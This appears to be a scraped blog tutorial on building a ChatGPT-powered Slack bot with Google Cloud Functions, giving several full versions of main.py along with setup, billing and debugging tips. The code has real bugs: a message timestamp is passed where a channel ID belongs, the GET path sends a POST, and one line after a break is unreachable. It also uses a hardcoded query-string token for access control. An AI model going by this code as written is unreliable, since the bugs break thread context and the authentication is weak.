+    "domain": "XXXXXX-XXXXXX"
+  },
+  "user": {
+    "id": "XXXXXX",
+    "username": "zhgchgli",
+    "team_id": "XXXXXX",
+    "name": "zhgchgli"
+  },
+  "channel": {
+    "id": "XXXXXX",
+    "name": "directmessage"
+  },
+  "is_enterprise_install": false,
+  "enterprise": null,
+  "callback_id": "abort_openai_api",
+  "trigger_id": "XXXXXX",
+  "response_url": "https://hooks.slack.com/app/XXXXXX/XXXXXX/XXXXXX",
+  "message_ts": "1706178957.161109",
+  "message": {
+    "bot_id": "XXXXXX",
+    "type": "message",
+    "text": "The English translation of 高麗菜包 is \"cabbage wrap.\" If you are using it as a dish name, it may sometimes be named specifically according to the contents of the dish, such as \"pork cabbage wrap\" or \"vegetable cabbage wrap.\"",
+    "user": "XXXXXX",
+    "ts": "1706178957.161109",
+    "app_id": "XXXXXX",
+    "blocks": [
+      {
+        "type": "rich_text",
+        "block_id": "eKgaG",
+        "elements": [
+          {
+            "type": "rich_text_section",
+            "elements": [
+              {
+                "type": "text",
+                "text": "The English translation of 高麗菜包 is \"cabbage wrap.\" If you are using it as a dish name, it may sometimes be named specifically according to the contents of the dish, such as \"pork cabbage wrap\" or \"vegetable cabbage wrap.\""
+              }
+            ]
+          }
+        ]
+      }
+    ],
+    "team": "XXXXXX",
+    "bot_profile": {
+      "id": "XXXXXX",
+      "deleted": false,
+      "name": "Rick C-137",
+      "updated": 1706001605,
+      "app_id": "XXXXXX",
+      "icons": {
+        "image_36": "https://avatars.slack-edge.com/2024-01-23/6517244582244_0c708dfa3f893c72d4c2_36.png",
+        "image_48": "https://avatars.slack-edge.com/2024-01-23/6517244582244_0c708dfa3f893c72d4c2_48.png",
+        "image_72": "https://avatars.slack-edge.com/2024-01-23/6517244582244_0c708dfa3f893c72d4c2_72.png"
+      },
+      "team_id": "XXXXXX"
+    },
+    "edited": {
+      "user": "XXXXXX",
+      "ts": "1706187989.000000"
+    },
+    "thread_ts": "1706178832.102439",
+    "parent_user_id": "XXXXXX"
+  }
+}
+

Complete Cloud Functions main.py:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+187
+188
+189
+190
+191
+192
+193
+194
+195
+196
+197
+198
+199
+200
+201
+202
+203
+204
+205
+206
+207
+208
+209
+210
+211
+212
+213
+214
+215
+216
+217
+218
+219
+220
+221
+222
+223
+224
+225
+226
+227
+228
+229
+230
+231
+232
+233
+234
+235
+236
+237
+238
+239
+240
+241
+242
+243
+244
+245
+246
+247
+248
+249
+250
+251
+252
+253
+254
+255
+256
+257
+258
+259
+
import functions_framework
+import requests
+import asyncio
+import json
+import time
+from openai import AsyncOpenAI
+
+OPENAI_API_KEY = "OPENAI API KEY"
+SLACK_BOT_TOKEN = "Bot User OAuth Token"
+
+# The OPENAI API Model used
+# https://platform.openai.com/docs/models
+OPENAI_MODEL = "gpt-4-1106-preview"
+
+@functions_framework.http
+def hello_http(request):
+    request_json = request.get_json(silent=True)
+    request_args = request.args
+    request_headers = request.headers
+
+    # Shortcut Event will be given from post payload field
+    # https://api.slack.com/reference/interaction-payloads/shortcuts
+    payload = request.form.get('payload')
+    if payload is not None:
+        payload = json.loads(payload)
+
+    # You can simply use print to record runtime logs, which can be viewed in Logs
+    # For advanced Logging Level usage, refer to: https://cloud.google.com/logging/docs/reference/libraries
+    print(payload)
+
+    # Due to the nature of FAAS (Cloud Functions), if the service is not called for a long time, it will enter a cold start when called again, which may not respond within the 3-second limit set by Slack
+    # Additionally, the OpenAI API request takes a certain amount of time to respond (depending on the response length, it may take nearly 1 minute to complete)
+    # If Slack does not receive a response within the time limit, it will consider the request lost and will call again
+    # This will cause repeated requests and responses, so we can set X-Slack-No-Retry: 1 in the Response Headers to inform Slack not to retry even if it does not receive a response within the time limit
+    headers = {'X-Slack-No-Retry': 1}
+
+    # If it is a Slack Retry request...ignore it
+    if request_headers and 'X-Slack-Retry-Num' in request_headers:
+        return ('OK!', 200, headers)
+
+    # Slack App Event Subscriptions Verify
+    # https://api.slack.com/events/url_verification
+    if request_json and 'type' in request_json and request_json['type'] == 'url_verification':
+        challenge = ""
+        if 'challenge' in request_json:
+            challenge = request_json['challenge']
+        return (challenge, 200, headers)
+
+    # Handle Event Subscriptions Events...
+    if request_json and 'event' in request_json and 'type' in request_json['event']:
+        # If the Event source is the App and App ID == Slack App ID, it means the event was triggered by the Slack App itself
+        # Ignore and do not process, otherwise it will fall into an infinite loop Slack App -> Cloud Functions -> Slack App -> Cloud Functions...
+        if 'api_app_id' in request_json and 'app_id' in request_json['event'] and request_json['api_app_id'] == request_json['event']['app_id']:
+            return ('OK!', 200, headers)
+
+        # Event name, for example: message (related to messages), app_mention (mentioned)...
+        eventType = request_json['event']['type']
+
+        # SubType, for example: message_changed (edited message), message_deleted (deleted message)...
+        # New messages do not have Sub Type
+        eventSubType = None
+        if 'subtype' in request_json['event']:
+            eventSubType = request_json['event']['subtype']
+        
+        if eventType == 'message':
+            # Messages with Sub Type are edited, deleted, replied to...
+            # Ignore and do not process
+            if eventSubType is not None:
+                return ("OK!", 200, headers)
+               
+            # Message sender of the Event
+            eventUser = request_json['event']['user']
+            # Channel of the Event message
+            eventChannel = request_json['event']['channel']
+            # Content of the Event message
+            eventText = request_json['event']['text']
+            # TS (message ID) of the Event message
+            eventTS = request_json['event']['event_ts']
+                
+            # TS (message ID) of the parent message in the thread of the Event message
+            # Only new messages in the thread will have this data
+            eventThreadTS = None
+            if 'thread_ts' in request_json['event']:
+                eventThreadTS = request_json['event']['thread_ts']
+                
+            openAIRequest(eventChannel, eventTS, eventThreadTS, eventText)
+            return ("OK!", 200, headers)
+
+    
+    # Handle Shortcut
+    if payload and 'type' in payload:
+        payloadType = payload['type']
+
+        # If it is a message Shortcut
+        if payloadType == 'message_action':
+            print(payloadType)
+            callbackID = None
+            channel = None
+            ts = None
+            text = None
+            triggerID = None
+
+            if 'callback_id' in payload:
+                callbackID = payload['callback_id']
+            if 'channel' in payload:
+                channel = payload['channel']['id']
+            if 'message' in payload:
+                ts = payload['message']['ts']
+                text = payload['message']['text']
+            if 'trigger_id' in payload:
+                triggerID = payload['trigger_id']
+            
+            if channel is not None and ts is not None and text is not None:
+                # If it is the Stop OpenAI API Response Generation Shortcut
+                if callbackID == "abort_openai_api":
+                    slackUpdateMessage(channel, ts, {"event_type": "aborted", "event_payload": {}}, text)
+                    if triggerID is not None:
+                        slackOpenModal(triggerID, callbackID, "Successfully stopped OpenAI API response generation!")
+                        return ("OK!", 200, headers)
+
+        return ("OK!", 200, headers)
+
+
+    return ("Access Denied!", 400, headers)
+
+def openAIRequest(eventChannel, eventTS, eventThreadTS, eventText):
+    
+    # Set Custom instructions
+    # Thanks to colleague (https://twitter.com/je_suis_marku) for support
+    messages = [
+        {"role": "system", "content": "I can only understand Traditional Chinese from Taiwan and English"},
+        {"role": "system", "content": "I cannot understand Simplified Chinese"},
+        {"role": "system", "content": "If I speak Chinese, I will respond in Traditional Chinese from Taiwan, and it must conform to common Taiwanese usage."},
+        {"role": "system", "content": "If I speak English, I will respond in English."},
+        {"role": "system", "content": "Do not respond with pleasantries."},
+        {"role": "system", "content": "There should be a space between Chinese and English. There should be a space between Chinese characters and any other language characters, including numbers and emojis."},
+        {"role": "system", "content": "If you don't know the answer, or your knowledge is outdated, please search online before answering."},
+        {"role": "system", "content": "I will tip you 200 USD, if you answer well."}
+    ]
+
+    messages.append({
+        "role": "user", "content": eventText
+    })
+
+    replyMessageTS = slackRequestPostMessage(eventChannel, eventTS, "Generating response...")
+    asyncio.run(openAIRequestAsync(eventChannel, replyMessageTS, messages))
+
+async def openAIRequestAsync(eventChannel, eventTS, messages):
+    client = AsyncOpenAI(
+      api_key=OPENAI_API_KEY,
+    )
+
+    # Stream Response
+    stream = await client.chat.completions.create(
+      model=OPENAI_MODEL,
+      messages=messages,
+      stream=True,
+    )
+    
+    result = ""
+
+    try:
+        debounceSlackUpdateTime = None
+        async for chunk in stream:
+            result += chunk.choices[0].delta.content or ""
+            
+            # Update the message every 0.8 seconds to avoid frequent calls to the Slack Update Message API, which may fail or waste Cloud Functions request counts
+            if debounceSlackUpdateTime is None or time.time() - debounceSlackUpdateTime >= 0.8:
+                response = slackUpdateMessage(eventChannel, eventTS, None, result+"...")
+                debounceSlackUpdateTime = time.time()
+
+                # If the message has metadata & metadata event_type == aborted, it means the response has been marked as terminated by the user
+                if response and 'ok' in response and response['ok'] == True and 'message' in response and 'metadata' in response['message'] and 'event_type' in response['message']['metadata'] and response['message']['metadata']['event_type'] == "aborted":
+                    break
+                    result += "...*[Terminated]*"
+                # The message has been deleted
+                elif response and 'ok' in response and response['ok'] == False and 'error' in response and response['error'] == "message_not_found":
+                    break
+                
+        await stream.close()
+                
+    except Exception as e:
+        print(e)
+        result += "...*[Error occurred]*"
+
+    slackUpdateMessage(eventChannel, eventTS, None, result)
+
+
+### Slack ###
+def slackOpenModal(trigger_id, callback_id, text):
+    slackRequest("/views.open", "POST", {
+        "trigger_id": trigger_id,
+        "view": {
+            "type": "modal",
+            "callback_id": callback_id,
+            "title": {
+                "type": "plain_text",
+                "text": "Prompt"
+            },
+            "blocks": [
+                {
+                    "type": "section",
+                    "text": {
+                        "type": "mrkdwn",
+                        "text": text
+                    }
+                }
+            ]
+        }
+    })
+
+def slackUpdateMessage(channel, ts, metadata, text):
+    endpoint = "/chat.update"
+    payload = {
+        "channel": channel,
+        "ts": ts
+    }
+    if metadata is not None:
+        payload['metadata'] = metadata
+    
+    payload['text'] = text
+    
+    response = slackRequest(endpoint, "POST", payload)
+    return response
+
+def slackRequestPostMessage(channel, target_ts, text):
+    endpoint = "/chat.postMessage"
+    payload = {
+        "channel": channel,
+        "text": text,
+    }
+    if target_ts is not None:
+        payload['thread_ts'] = target_ts
+
+    response = slackRequest(endpoint, "POST", payload)
+
+    if response is not None and 'ts' in response:
+        return response['ts']
+    return None
+
+def slackRequest(endpoint, method, payload):
+    url = "https://slack.com/api"+endpoint
+
+    headers = {
+        "Authorization": f"Bearer {SLACK_BOT_TOKEN}",
+        "Content-Type": "application/json",
+    }
+
+    response = None
+    if method == "POST":
+        response = requests.post(url, headers=headers, data=json.dumps(payload))
+    elif method == "GET":
+        response = requests.post(url, headers=headers)
+
+    if response and response.status_code == 200:
+        result = response.json()
+        return result
+    else:
+        return None
+

Back to Slack to test:

Success! When we complete the Stop OpenAI API Shortcut, the ongoing response will be terminated, and it will respond with [Terminated].

Similarly, you can also create a Shortcut to delete messages, implementing the deletion of messages sent by the Slack App.

Adding Context Functionality in the Same Thread

If you send a new message in the same thread, it can be considered a follow-up question to the same issue. At this point, you can add a feature to supplement the new prompt with the previous conversation content.

Add slackGetReplies & Fill Content into OpenAI API Prompt:

Complete Cloud Functions main.py:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+187
+188
+189
+190
+191
+192
+193
+194
+195
+196
+197
+198
+199
+200
+201
+202
+203
+204
+205
+206
+207
+208
+209
+210
+211
+212
+213
+214
+215
+216
+217
+218
+219
+220
+221
+222
+223
+224
+225
+226
+227
+228
+229
+230
+231
+232
+233
+234
+235
+236
+237
+238
+239
+240
+241
+242
+243
+244
+245
+246
+247
+248
+249
+250
+251
+252
+253
+254
+255
+256
+257
+258
+259
+260
+261
+262
+263
+264
+265
+266
+267
+268
+269
+270
+271
+272
+273
+274
+275
+276
+277
+278
+279
+280
+281
+282
+283
+284
+285
+286
+287
+
import functions_framework
+import requests
+import asyncio
+import json
+import time
+from openai import AsyncOpenAI
+
+OPENAI_API_KEY = "OPENAI API KEY"
+SLACK_BOT_TOKEN = "Bot User OAuth Token"
+
+# The OPENAI API Model used
+# https://platform.openai.com/docs/models
+OPENAI_MODEL = "gpt-4-1106-preview"
+
+@functions_framework.http
+def hello_http(request):
+    request_json = request.get_json(silent=True)
+    request_args = request.args
+    request_headers = request.headers
+
+    # Event from Shortcut will be given in post payload field
+    # https://api.slack.com/reference/interaction-payloads/shortcuts
+    payload = request.form.get('payload')
+    if payload is not None:
+        payload = json.loads(payload)
+
+    # You can simply use print to record runtime logs, which can be viewed in Logs
+    # For advanced Logging Level usage, refer to: https://cloud.google.com/logging/docs/reference/libraries
+    print(payload)
+
+    # Due to the nature of FAAS (Cloud Functions), if the service is not called for a long time, it will enter a cold start when called again, which may not respond within Slack's 3-second limit
+    # Plus, OpenAI API requests take a certain amount of time to respond (depending on the response length, it may take up to 1 minute to complete)
+    # If Slack does not receive a response within the time limit, it will consider the request lost and will call again
+    # This can cause duplicate requests and responses, so we can set X-Slack-No-Retry: 1 in the Response Headers to inform Slack not to retry even if it does not receive a response within the time limit
+    headers = {'X-Slack-No-Retry':1}
+
+    # If it's a Slack Retry request...ignore it
+    if request_headers and 'X-Slack-Retry-Num' in request_headers:
+        return ('OK!', 200, headers)
+
+    # Slack App Event Subscriptions Verify
+    # https://api.slack.com/events/url_verification
+    if request_json and 'type' in request_json and request_json['type'] == 'url_verification':
+        challenge = ""
+        if 'challenge' in request_json:
+            challenge = request_json['challenge']
+        return (challenge, 200, headers)
+
+    # Handle Event Subscriptions Events...
+    if request_json and 'event' in request_json and 'type' in request_json['event']:
+        apiAppID = None
+        if 'api_app_id' in request_json:
+            apiAppID = request_json['api_app_id']
+        # If the event source is the App and App ID == Slack App ID, it means the event was triggered by the Slack App itself
+        # Ignore it to avoid infinite loops Slack App -> Cloud Functions -> Slack App -> Cloud Functions...
+        if 'app_id' in request_json['event'] and apiAppID == request_json['event']['app_id']:
+            return ('OK!', 200, headers)
+
+        # Event name, e.g., message (related to messages), app_mention (mentioned)....
+        eventType = request_json['event']['type']
+
+        # SubType, e.g., message_changed (edited message), message_deleted (deleted message)...
+        # New messages do not have a Sub Type
+        eventSubType = None
+        if 'subtype' in request_json['event']:
+            eventSubType = request_json['event']['subtype']
+        
+        if eventType == 'message':
+            # Messages with Sub Type are edited, deleted, or replied to...
+            # Ignore them
+            if eventSubType is not None:
+                return ("OK!", 200, headers)
+               
+            # Message sender of the Event
+            eventUser = request_json['event']['user']
+            # Channel of the Event message
+            eventChannel = request_json['event']['channel']
+            # Content of the Event message
+            eventText = request_json['event']['text']
+            # TS (message ID) of the Event message
+            eventTS = request_json['event']['event_ts']
+                
+            # TS (message ID) of the parent message in the thread of the Event message
+            # Only new messages in the thread will have this data
+            eventThreadTS = None
+            if 'thread_ts' in request_json['event']:
+                eventThreadTS = request_json['event']['thread_ts']
+                
+            openAIRequest(apiAppID, eventChannel, eventTS, eventThreadTS, eventText)
+            return ("OK!", 200, headers)
+
+    
+    # Handle Shortcut (message)
+    if payload and 'type' in payload:
+        payloadType = payload['type']
+
+        # If it's a message Shortcut
+        if payloadType == 'message_action':
+            callbackID = None
+            channel = None
+            ts = None
+            text = None
+            triggerID = None
+
+            if 'callback_id' in payload:
+                callbackID = payload['callback_id']
+            if 'channel' in payload:
+                channel = payload['channel']['id']
+            if 'message' in payload:
+                ts = payload['message']['ts']
+                text = payload['message']['text']
+            if 'trigger_id' in payload:
+                triggerID = payload['trigger_id']
+            
+            if channel is not None and ts is not None and text is not None:
+                # If it's the Stop OpenAI API response Shortcut
+                if callbackID == "abort_openai_api":
+                    slackUpdateMessage(channel, ts, {"event_type": "aborted", "event_payload": { }}, text)
+                    if triggerID is not None:
+                        slackOpenModal(triggerID, callbackID, "Successfully stopped OpenAI API response!")
+                        return ("OK!", 200, headers)
+
+
+    return ("Access Denied!", 400, headers)
+
+def openAIRequest(apiAppID, eventChannel, eventTS, eventThreadTS, eventText):
+    
+    # Set Custom instructions
+    # Thanks to my colleague (https://twitter.com/je_suis_marku) for the support
+    messages = [
+        {"role": "system", "content": "I can only understand Traditional Chinese and English"},
+        {"role": "system", "content": "I cannot understand Simplified Chinese"},
+        {"role": "system", "content": "If I speak Chinese, I will respond in Traditional Chinese used in Taiwan, and it must conform to common usage in Taiwan."},
+        {"role": "system", "content": "If I speak English, I will respond in English."},
+        {"role": "system", "content": "Do not respond with pleasantries."},
+        {"role": "system", "content": "There should be a space between Chinese and English. There should be a space between Chinese characters and any other language characters, including numbers and emojis."},
+        {"role": "system", "content": "If you don't know the answer, or if your knowledge is outdated, please search online before answering."},
+        {"role": "system", "content": "I will tip you 200 USD if you answer well."}
+    ]
+
+    if eventThreadTS is not None:
+        threadMessages = slackGetReplies(eventTS, eventThreadTS)
+        if threadMessages is not None:
+            for threadMessage in threadMessages:
+                appID = None
+                if 'app_id' in threadMessage:
+                    appID = threadMessage['app_id']
+                threadMessageText = threadMessage['text']
+                threadMessageTs = threadMessage['ts']
+                # If it's a Slack App (OpenAI API Response), mark it as assistant
+                if appID and appID == apiAppID:
+                    messages.append({
+                        "role": "assistant", "content": threadMessageText
+                    })
+                else:
+                # Mark the user's message content as user
+                    messages.append({
+                        "role": "user", "content": threadMessageText
+                    })
+
+    messages.append({
+        "role": "user", "content": eventText
+    })
+
+    replyMessageTS = slackRequestPostMessage(eventChannel, eventTS, "Generating response...")
+    asyncio.run(openAIRequestAsync(eventChannel, replyMessageTS, messages))
+
+async def openAIRequestAsync(eventChannel, eventTS, messages):
+    client = AsyncOpenAI(
+      api_key=OPENAI_API_KEY,
+    )
+
+    # Stream Response
+    stream = await client.chat.completions.create(
+      model=OPENAI_MODEL,
+      messages=messages,
+      stream=True,
+    )
+    
+    result = ""
+
+    try:
+        debounceSlackUpdateTime = None
+        async for chunk in stream:
+            result += chunk.choices[0].delta.content or ""
+            
+            # Update the message every 0.8 seconds to avoid frequent calls to the Slack Update Message API, which may fail or waste Cloud Functions requests
+            if debounceSlackUpdateTime is None or time.time() - debounceSlackUpdateTime >= 0.8:
+                response = slackUpdateMessage(eventChannel, eventTS, None, result+"...")
+                debounceSlackUpdateTime = time.time()
+
+                # If the message has metadata & metadata event_type == aborted, it means the response has been marked as terminated by the user
+                if response and 'ok' in response and response['ok'] == True and 'message' in response and 'metadata' in response['message'] and 'event_type' in response['message']['metadata'] and response['message']['metadata']['event_type'] == "aborted":
+                    break
+                    result += "...*[Terminated]*"
+                # If the message has been deleted
+                elif response and 'ok' in response and response['ok'] == False and 'error' in response and response['error'] == "message_not_found":
+                    break
+                
+        await stream.close()
+                
+    except Exception as e:
+        print(e)
+        result += "...*[Error occurred]*"
+
+    slackUpdateMessage(eventChannel, eventTS, None, result)
+
+
+### Slack ###
+def slackGetReplies(channel, ts):
+    endpoint = "/conversations.replies?channel="+channel+"&ts="+ts
+    response = slackRequest(endpoint, "GET", None)
+
+    if response is not None and 'messages' in response:
+        return response['messages']
+    return None
+
+def slackOpenModal(trigger_id, callback_id, text):
+    slackRequest("/views.open", "POST", {
+        "trigger_id": trigger_id,
+        "view": {
+            "type": "modal",
+            "callback_id": callback_id,
+            "title": {
+                "type": "plain_text",
+                "text": "Prompt"
+            },
+            "blocks": [
+                {
+                    "type": "section",
+                    "text": {
+                        "type": "mrkdwn",
+                        "text": text
+                    }
+                }
+            ]
+        }
+    })
+
+def slackUpdateMessage(channel, ts, metadata, text):
+    endpoint = "/chat.update"
+    payload = {
+        "channel": channel,
+        "ts": ts
+    }
+    if metadata is not None:
+        payload['metadata'] = metadata
+    
+    payload['text'] = text
+    
+    response = slackRequest(endpoint, "POST", payload)
+    return response
+
+def slackRequestPostMessage(channel, target_ts, text):
+    endpoint = "/chat.postMessage"
+    payload = {
+        "channel": channel,
+        "text": text,
+    }
+    if target_ts is not None:
+        payload['thread_ts'] = target_ts
+
+    response = slackRequest(endpoint, "POST", payload)
+
+    if response is not None and 'ts' in response:
+        return response['ts']
+    return None
+
+def slackRequest(endpoint, method, payload):
+    url = "https://slack.com/api"+endpoint
+
+    headers = {
+        "Authorization": f"Bearer {SLACK_BOT_TOKEN}",
+        "Content-Type": "application/json",
+    }
+
+    response = None
+    if method == "POST":
+        response = requests.post(url, headers=headers, data=json.dumps(payload))
+    elif method == "GET":
+        response = requests.post(url, headers=headers)
+
+    if response and response.status_code == 200:
+        result = response.json()
+        return result
+    else:
+        return None
+

Back to Slack to test:

  • The left image shows a new conversation when asking a follow-up question without adding Context.
  • The right image shows that with Context added, it can understand the entire conversation context and the new question.

Done!

At this point, we have built a ChatGPT (via OpenAI API) Slack App Bot.

You can also refer to Slack API and OpenAI API Custom instructions to integrate them into Cloud Functions Python programs according to your needs. For example, training a channel to answer team questions and find project documents, a channel dedicated to translation, a channel dedicated to data analysis, etc.

Supplement

Marking the bot to answer questions outside of 1:1 messages

  • You can mark the bot to answer questions in any channel (the bot needs to be added to the channel).

First, you need to add the app_mention Event Subscription:

After adding, click “Save Changes” to save, then “reinstall your app” to complete.

In the main.py program mentioned above, in the #Handle Event Subscriptions Events… Code Block, add a new Event Type judgment:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+
        # Mention Event (@SlackApp hello)
+        if eventType == 'app_mention':
+            # Event message sender
+            eventUser = request_json['event']['user']
+            # Event message channel
+            eventChannel = request_json['event']['channel']
+            # Event message content, remove the leading tag string <@SLACKAPPID>
+            eventText = re.sub(r"<@\w+>\W*", "", request_json['event']['text'])
+            # Event message TS (message ID)
+            eventTS = request_json['event']['event_ts']
+                
+            # Parent message TS of the event message thread (message ID)
+            # Only new messages in the thread will have this data
+            eventThreadTS = None
+            if 'thread_ts' in request_json['event']:
+                eventThreadTS = request_json['event']['thread_ts']
+                
+            openAIRequest(apiAppID, eventChannel, eventTS, eventThreadTS, eventText)
+            return ("OK!", 200, headers)
+

After deployment, it will be completed.

Deleting messages sent by Slack App

You cannot directly delete messages sent by Slack App on Slack. You can refer to the above “ Stop OpenAI API Response “ Shortcut method, and add a “delete message” Shortcut.

And in the Cloud Functions main.py program:

In the # Handle Shortcut Code Block, add a callback_id judgment. If it equals the “delete message” Shortcut Callback ID you defined, pass the parameters into the following method to delete:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
def slackDeleteMessage(channel, ts):
+    endpoint = "/chat.delete"
+    payload = {
+        "channel": channel,
+        "ts": ts
+    }
+    
+    response = slackRequest(endpoint, "POST", payload)
+    return response
+

Slack App Not Responding

  • Check if the Token is correct
  • Check Cloud Functions Logs for errors
  • Ensure Cloud Functions are fully deployed
  • Verify if the Slack App is in the channel you are asking questions in (if it’s not a 1:1 conversation with the Slack App, you need to add the bot to the channel for it to work)
  • Log the Slack API Response under the SlackRequest method

Cloud Functions Public URL Not Secure Enough

  • If you are concerned about the security of the Cloud Functions URL, you can add a query token for verification
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
SAFE_ACCESS_TOKEN = "nF4JwxfG9abqPZCJnBerwwhtodC28BuC"
+
+@functions_framework.http
+def hello_http(request):
+    request_json = request.get_json(silent=True)
+    request_args = request.args
+    request_headers = request.headers
+    # Verify if the token parameter is valid
+    if not(request_args and 'token' in request_args and request_args['token'] == SAFE_ACCESS_TOKEN):
+        return ('', 400, headers)
+

Billing Method

Different regions, CPU, RAM, capacity, traffic… have different prices. Please refer to the official pricing table.

The free tier is as follows: (2024/02/15)

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
Cloud Functions offers a permanent free tier for compute time resources,
+including allocations of GB-seconds and GHz-seconds. In addition to 2 million invocations,
+this free tier also provides 400,000 GB-seconds and 200,000 GHz-seconds of compute time,
+and 5 GB of internet data transfer per month.
+
+The usage quota of the free tier is calculated in equivalent USD amounts at the above tier 1 prices.
+Regardless of whether the function execution region uses tier 1 and/or tier 2 prices, the system will allocate the equivalent USD amount to you.
+However, when deducting the free tier quota, the system will use the tier (tier 1 or tier 2) of the function execution region as the standard.
+
+Please note that even if you are using the free tier, you must have a valid billing account.
+

btw. Slack App is free, you don’t necessarily need Premium to use it.

Slack App Response Too Slow, Timeout

(Excluding the issue of slow response during OpenAI API peak times), if it’s a Cloud Function bottleneck, you can expand the settings on the first page of the Cloud Function editor:

You can adjust CPU, RAM, Timeout time, Concurrent number… to improve request processing speed.

*But it may incur additional costs

Development Stage Testing & Debug

Click “Test Function” to open a Cloud Shell window in the bottom toolbar. Wait about 3–5 minutes (the first startup takes longer), and after the build is completed and the following authorization is agreed upon:

Once you see “Function is ready to test,” you can click “Run Test” to execute the method for debugging.

You can use the “Triggering event” block on the right to input a JSON Body that will be passed into the request_json parameter for testing, or directly modify the program to inject a test object for testing.

*Please note that Cloud Shell/Cloud Run may incur additional costs.

It is recommended to run a test before deploying (Deploy) to ensure that the build can succeed.

Build Failed, What to Do When Code Disappears?

If you accidentally write incorrect code causing Cloud Function Deploy Build Failed, an error message will appear. At this point, clicking “EDIT AND REDEPLOY” to return to the editor will find that the code you just changed is gone!!!

No need to worry, at this point, click “Source Code” on the left and select “Last Failed Deployment” to restore the code that just Build Failed:

View Runtime print Logs

*Please note that Cloud Logging and Querying Logs may incur additional costs.

Final Code (Python 3.8)

Cloud Functions

main.py

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+187
+188
+189
+190
+191
+192
+193
+194
+195
+196
+197
+198
+199
+200
+201
+202
+203
+204
+205
+206
+207
+208
+209
+210
+211
+212
+213
+214
+215
+216
+217
+218
+219
+220
+221
+222
+223
+224
+225
+226
+227
+228
+229
+230
+231
+232
+233
+234
+235
+236
+237
+238
+239
+240
+241
+242
+243
+244
+245
+246
+247
+248
+249
+250
+251
+252
+253
+254
+255
+256
+257
+258
+259
+260
+261
+262
+263
+264
+265
+266
+267
+268
+269
+270
+271
+272
+273
+274
+275
+276
+277
+278
+279
+280
+281
+282
+283
+284
+285
+286
+287
+288
+289
+290
+291
+292
+293
+294
+295
+296
+297
+298
+299
+300
+301
+302
+303
+304
+305
+306
+307
+308
+309
+310
+311
+312
+313
+314
+315
+316
+317
+318
+319
+320
+321
+322
+323
+324
+325
+326
+327
+328
+329
+330
+331
+332
+
import functions_framework
+import requests
+import re
+import asyncio
+import json
+import time
+from openai import AsyncOpenAI
+
+OPENAI_API_KEY = "OPENAI API KEY"
+SLACK_BOT_TOKEN = "Bot User OAuth Token"
+
+# Custom defined security verification Token
+# The URL must carry the ?token=SAFE_ACCESS_TOKEN parameter to accept the request  
+SAFE_ACCESS_TOKEN = "nF4JwxfG9abqPZCJnBerwwhtodC28BuC"
+
+# The OPENAI API Model used
+# https://platform.openai.com/docs/models
+OPENAI_MODEL = "gpt-4-1106-preview"
+
+@functions_framework.http
+def hello_http(request):
+    request_json = request.get_json(silent=True)
+    request_args = request.args
+    request_headers = request.headers
+
+    # Shortcut events will be given from the post payload field
+    # https://api.slack.com/reference/interaction-payloads/shortcuts
+    payload = request.form.get('payload')
+    if payload is not None:
+        payload = json.loads(payload)
+
+    # You can simply use print to record runtime logs, which can be viewed in Logs
